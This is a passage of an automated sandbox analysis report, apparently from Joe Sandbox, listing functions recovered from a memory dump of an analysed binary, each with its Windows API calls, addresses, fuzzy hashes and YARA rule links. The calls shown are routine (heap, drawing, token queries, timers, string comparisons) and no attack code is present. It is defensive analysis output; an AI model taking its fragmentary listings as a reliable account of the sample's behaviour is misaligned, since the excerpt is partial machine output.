WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00F9CDE9

Part of subcall function 00F93820: RtlAllocateHeap.NTDLL(00000000,?,01031444,?,00F7FDF5,?,?,00F6A976,00000010,01031440,00F613FC,?,00F613C6,?,00F61129), ref: 00F93852

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00F9CE0F
_free.LIBCMT ref: 00F9CE22
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00F9CE31

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: 45491e44649d3920b7d1fa2666f50183eaea4df4c6c3edcd1a79a7c80a0eec90
Instruction ID: 4f322a9c7773e12a73a7f2239b5f1b1018d250520eb116748797644d090f571f
Opcode Fuzzy Hash: 45491e44649d3920b7d1fa2666f50183eaea4df4c6c3edcd1a79a7c80a0eec90
Instruction Fuzzy Hash: 65018472A012297F3B2166BA6C88D7B796DDEC6BA1315012AF906C7201EA658D01F2F0

Function 00F79639 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00F79693
SelectObject.GDI32(?,00000000), ref: 00F796A2
BeginPath.GDI32(?), ref: 00F796B9
SelectObject.GDI32(?,00000000), ref: 00F796E2

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 75a18366e1fd5bff81410ffaeb21d3455bcd5abf2b24c8e45738abded9b464eb
Instruction ID: 1de4c6ce0a6ba6d82183d8bf5b7502f75d2a574459671dc28da644bd1780ed29
Opcode Fuzzy Hash: 75a18366e1fd5bff81410ffaeb21d3455bcd5abf2b24c8e45738abded9b464eb
Instruction Fuzzy Hash: DD218031816309EBDB219F24DD04BA93BACBB44735F108317F454A61E4D3BA9891EF95

Function 00FC5711 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00FC5726
_memcmp.LIBVCRUNTIME ref: 00FC5744
_memcmp.LIBVCRUNTIME ref: 00FC5757
_memcmp.LIBVCRUNTIME ref: 00FC576F
_memcmp.LIBVCRUNTIME ref: 00FC5787

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: e3499d07af07b3b1d19f954717213085031508bb009330ed3fd82e18d3cb0b96
Instruction ID: fd06cd2903d610db193c3d3a5ca4f725c8d36865b102aac20d5062fd5b7333fe
Opcode Fuzzy Hash: e3499d07af07b3b1d19f954717213085031508bb009330ed3fd82e18d3cb0b96
Instruction Fuzzy Hash: A501D66264160FBA920866109F83FFA735CAF61BA4B000028FE049A241F620FD95B2A5

Function 00F92DF8 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00F8F2DE,00F93863,01031444,?,00F7FDF5,?,?,00F6A976,00000010,01031440,00F613FC,?,00F613C6), ref: 00F92DFD
_free.LIBCMT ref: 00F92E32
_free.LIBCMT ref: 00F92E59
SetLastError.KERNEL32(00000000,00F61129), ref: 00F92E66
SetLastError.KERNEL32(00000000,00F61129), ref: 00F92E6F

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 29b9fee109f5190468905060efadca5f6f72ff77694d95df1c60be087cd1670a
Instruction ID: 3defa04777c486073523816f99465e8d7c1872a9ebdb0ee6f1a7e9f49fe16c2b
Opcode Fuzzy Hash: 29b9fee109f5190468905060efadca5f6f72ff77694d95df1c60be087cd1670a
Instruction Fuzzy Hash: 2101F93290560477FF6277356DC6D2F356DAFD13B57350028F415A2182EA688C0171A0

Function 00FC000E Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,00FBFF41,80070057,?,?,?,00FC035E), ref: 00FC002B
ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00FBFF41,80070057,?,?), ref: 00FC0046
lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00FBFF41,80070057,?,?), ref: 00FC0054
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00FBFF41,80070057,?), ref: 00FC0064
CLSIDFromString.OLE32(?,?,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00FBFF41,80070057,?,?), ref: 00FC0070

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: 44adc316ba91c7e5122c2c20fa8438dfb3dab1497a2bc823330870d762eaec2d
Instruction ID: eb1977cf2864fe73408dbc4254441bfc7d3cef4dbe8f8721303a09d33464bc29
Opcode Fuzzy Hash: 44adc316ba91c7e5122c2c20fa8438dfb3dab1497a2bc823330870d762eaec2d
Instruction Fuzzy Hash: 38018F72640219FFDB104F68DE45FAA7AADEF447A1F154128F905D2210DB71DD41EBA0

Function 00FCE97B Relevance: 7.5, APIs: 5, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?), ref: 00FCE997
QueryPerformanceFrequency.KERNEL32(?), ref: 00FCE9A5
Sleep.KERNEL32(00000000), ref: 00FCE9AD
QueryPerformanceCounter.KERNEL32(?), ref: 00FCE9B7
Sleep.KERNEL32 ref: 00FCE9F3

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 6c6188321386d2cc4bce6cc8332edc19b2797a8e7c226dff87058de64e82edf0
Instruction ID: 1826386b7367b3a2e809d554b930c185a5a9c071aa69377b0b82240f3d8a1197
Opcode Fuzzy Hash: 6c6188321386d2cc4bce6cc8332edc19b2797a8e7c226dff87058de64e82edf0
Instruction Fuzzy Hash: BB015731D0162EDBCF00ABE5DA4ABEDBB78FF09310F00054AE502B2241CB349655EBA2

Function 00FC10F9 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00FC1114
GetLastError.KERNEL32(?,00000000,00000000,?,?,00FC0B9B,?,?,?), ref: 00FC1120
GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00FC0B9B,?,?,?), ref: 00FC112F
HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00FC0B9B,?,?,?), ref: 00FC1136
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00FC114D

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: 092981185b6ca99870492f349868c2e38e5c7a9640e4087fa3c7dd6e9850e3cf
Instruction ID: 0b144a2c59a117bdb009de96ae433e31689ff51d61ca6390117e8c38011cc315
Opcode Fuzzy Hash: 092981185b6ca99870492f349868c2e38e5c7a9640e4087fa3c7dd6e9850e3cf
Instruction Fuzzy Hash: E5018C75A00219BFDB115FA5DD49E6A3F6EFF8A3A0B250418FA45D3361DB31DC10EAA0

Function 00FC0FB4 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00FC0FCA
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00FC0FD6
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00FC0FE5
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00FC0FEC
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00FC1002

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 9f4a8710464d8a6a071810dffb8e4cf0eec8493d1e50b02c9f8acbab0beee245
Instruction ID: cf5cecfdcc06f0bb7047ee5174264f548b30b1d6106b250050c19ae03b12b086
Opcode Fuzzy Hash: 9f4a8710464d8a6a071810dffb8e4cf0eec8493d1e50b02c9f8acbab0beee245
Instruction Fuzzy Hash: F7F0C235140319EBD7210FA5DE4EF663B6DFF8A761F100415F945C7252CA30DC50EAA0

Function 00FC1014 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00FC102A
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00FC1036
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00FC1045
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00FC104C
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00FC1062

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 3261e2d4cb6adbc266bc320e4dae6001fe936342578523c9b0eecb7937912ba8
Instruction ID: 717c5909eaf45df7aeea03cfe0579fe75af1b67fb34c17f6aef4ab72a70ee084
Opcode Fuzzy Hash: 3261e2d4cb6adbc266bc320e4dae6001fe936342578523c9b0eecb7937912ba8
Instruction Fuzzy Hash: 43F0C235140319EBD7211FA5EE4AF663B6DFF8A761F100414FD45C7251CA31D850EAA0

Function 00FD030F Relevance: 7.5, APIs: 6, Instructions: 41COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,?,00FD017D,?,00FD32FC,?,00000001,00FA2592,?), ref: 00FD0324
CloseHandle.KERNEL32(?,?,?,?,00FD017D,?,00FD32FC,?,00000001,00FA2592,?), ref: 00FD0331
CloseHandle.KERNEL32(?,?,?,?,00FD017D,?,00FD32FC,?,00000001,00FA2592,?), ref: 00FD033E
CloseHandle.KERNEL32(?,?,?,?,00FD017D,?,00FD32FC,?,00000001,00FA2592,?), ref: 00FD034B
CloseHandle.KERNEL32(?,?,?,?,00FD017D,?,00FD32FC,?,00000001,00FA2592,?), ref: 00FD0358
CloseHandle.KERNEL32(?,?,?,?,00FD017D,?,00FD32FC,?,00000001,00FA2592,?), ref: 00FD0365

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 10202790443f842a9d3b5ac4502b4915a28d185cf3bd5b4e014b528a1d77736d
Instruction ID: 95beeed2fd2da6d3ba437a7184c0cc9310b25f9b35d135623af197818bf82e66
Opcode Fuzzy Hash: 10202790443f842a9d3b5ac4502b4915a28d185cf3bd5b4e014b528a1d77736d
Instruction Fuzzy Hash: 4D01A272800B559FC731AF66D880916F7FABF503253198A3FD19652A31C7B1A954EF80

Function 00F9D73A Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00F9D752

Part of subcall function 00F929C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00F9D7D1,00000000,00000000,00000000,00000000,?,00F9D7F8,00000000,00000007,00000000,?,00F9DBF5,00000000), ref: 00F929DE
Part of subcall function 00F929C8: GetLastError.KERNEL32(00000000,?,00F9D7D1,00000000,00000000,00000000,00000000,?,00F9D7F8,00000000,00000007,00000000,?,00F9DBF5,00000000,00000000), ref: 00F929F0

_free.LIBCMT ref: 00F9D764
_free.LIBCMT ref: 00F9D776
_free.LIBCMT ref: 00F9D788
_free.LIBCMT ref: 00F9D79A

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 1ca62c3d4b1457286836a955021bdb1c7ea265627a786578fdc8953feacd3841
Instruction ID: 2e15d2b8a0b94559bf370a220b48dadb1e64d34e31beaccb81bc99b5f63fa464
Opcode Fuzzy Hash: 1ca62c3d4b1457286836a955021bdb1c7ea265627a786578fdc8953feacd3841
Instruction Fuzzy Hash: 7AF0F4329442047BAE75EA98FAC5C1A77EDBB447207B40809F44CD7505C729FC4067A5

Function 00FC5C44 Relevance: 7.5, APIs: 5, Instructions: 40windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 00FC5C58
GetWindowTextW.USER32(00000000,?,00000100), ref: 00FC5C6F
MessageBeep.USER32(00000000), ref: 00FC5C87
KillTimer.USER32(?,0000040A), ref: 00FC5CA3
EndDialog.USER32(?,00000001), ref: 00FC5CBD

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 166230b031d4a347328cd0d9a12f9ec1b43c4baea66d6369742786561db0a487
Instruction ID: 752e91d92286dec2aa71f10f5fbd22f6565572ad849d6004acbf840ecca9be96
Opcode Fuzzy Hash: 166230b031d4a347328cd0d9a12f9ec1b43c4baea66d6369742786561db0a487
Instruction Fuzzy Hash: 69016271500B19ABEB209B20DF4FFA677BCBF00F05F00055DA596A10E1DBF4B988EA90

Function 00F922A0 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00F922BE

Part of subcall function 00F929C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00F9D7D1,00000000,00000000,00000000,00000000,?,00F9D7F8,00000000,00000007,00000000,?,00F9DBF5,00000000), ref: 00F929DE
Part of subcall function 00F929C8: GetLastError.KERNEL32(00000000,?,00F9D7D1,00000000,00000000,00000000,00000000,?,00F9D7F8,00000000,00000007,00000000,?,00F9DBF5,00000000,00000000), ref: 00F929F0

_free.LIBCMT ref: 00F922D0
_free.LIBCMT ref: 00F922E3
_free.LIBCMT ref: 00F922F4
_free.LIBCMT ref: 00F92305

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: dc535012212fcc7c87d7e19e992f5ca15a56143f70de0631c9acfeb150719e15
Instruction ID: c774c4329a9015909279020a0ecbc68c8de4b4175e8797c3fee5e3a967e351d5
Opcode Fuzzy Hash: dc535012212fcc7c87d7e19e992f5ca15a56143f70de0631c9acfeb150719e15
Instruction Fuzzy Hash: 4FF03AB0801520ABAB72EF58F80180C3B78B718760700050AF494D22ADC73E0921FBE4

Function 00F795C5 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 00F795D4
StrokeAndFillPath.GDI32(?,?,00FB71F7,00000000,?,?,?), ref: 00F795F0
SelectObject.GDI32(?,00000000), ref: 00F79603
DeleteObject.GDI32 ref: 00F79616
StrokePath.GDI32(?), ref: 00F79631

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: f1adfe572a8fb09ba1de49c2461b98bdd449daac36d394f6ad19dae7ec4c4ff1
Instruction ID: 9373e2edebdc666c961a7022bb7d4a94f3d49aabc2ddee7ed1a22cc6f9b7928b
Opcode Fuzzy Hash: f1adfe572a8fb09ba1de49c2461b98bdd449daac36d394f6ad19dae7ec4c4ff1
Instruction Fuzzy Hash: 80F0813000920CDBC7224F14ED0C7743B69AB04332F048316F499550F4CB758551EF61

Function 00F90F47 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 389COMMONLIBRARYCODE

Download Yara Rule

APIs

__freea.LIBCMT ref: 00F910F9
__freea.LIBCMT ref: 00F91117

Part of subcall function 00F91537: _free.LIBCMT ref: 00F9154F

Strings

am/pm, xrefs: 00F9117A
a/p, xrefs: 00F911DE

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: __freea$_free
String ID: a/p$am/pm
API String ID: 3432400110-3206640213
Opcode ID: 9d12714720bb065092b5325065bffec33176f4fd636d65d2ec74bf2e83cf588a
Instruction ID: 2af8196daa022303fabbc40c185640f7dfc1dcde703ac602849d269caf1bf189
Opcode Fuzzy Hash: 9d12714720bb065092b5325065bffec33176f4fd636d65d2ec74bf2e83cf588a
Instruction Fuzzy Hash: A1D1CF32E00207DAFF299F68C845BBAB7B4FF05320F284179EA059B650D7759D80EB91

Function 00FE7B7E Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 00F80242: EnterCriticalSection.KERNEL32(0103070C,01031884,?,?,00F7198B,01032518,?,?,?,00F612F9,00000000), ref: 00F8024D
Part of subcall function 00F80242: LeaveCriticalSection.KERNEL32(0103070C,?,00F7198B,01032518,?,?,?,00F612F9,00000000), ref: 00F8028A

Part of subcall function 00F69CB3: _wcslen.LIBCMT ref: 00F69CBD

Part of subcall function 00F800A3: __onexit.LIBCMT ref: 00F800A9

__Init_thread_footer.LIBCMT ref: 00FE7BFB

Part of subcall function 00F801F8: EnterCriticalSection.KERNEL32(0103070C,?,?,00F78747,01032514), ref: 00F80202
Part of subcall function 00F801F8: LeaveCriticalSection.KERNEL32(0103070C,?,00F78747,01032514), ref: 00F80235

Strings

5, xrefs: 00FE7C78
G, xrefs: 00FE7C7F
Variable must be of type 'Object'., xrefs: 00FE7C3A

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer__onexit_wcslen
String ID: 5$G$Variable must be of type 'Object'.
API String ID: 535116098-3733170431
Opcode ID: 35977f8ad8ceb7fa90ad4f0cae423548198ecfd705a1fffc16591723b6fa843c
Instruction ID: 64706b74b177f4eb8001ba2356f372e147ff1c38dce7edc4a6a8404839ee22b0
Opcode Fuzzy Hash: 35977f8ad8ceb7fa90ad4f0cae423548198ecfd705a1fffc16591723b6fa843c
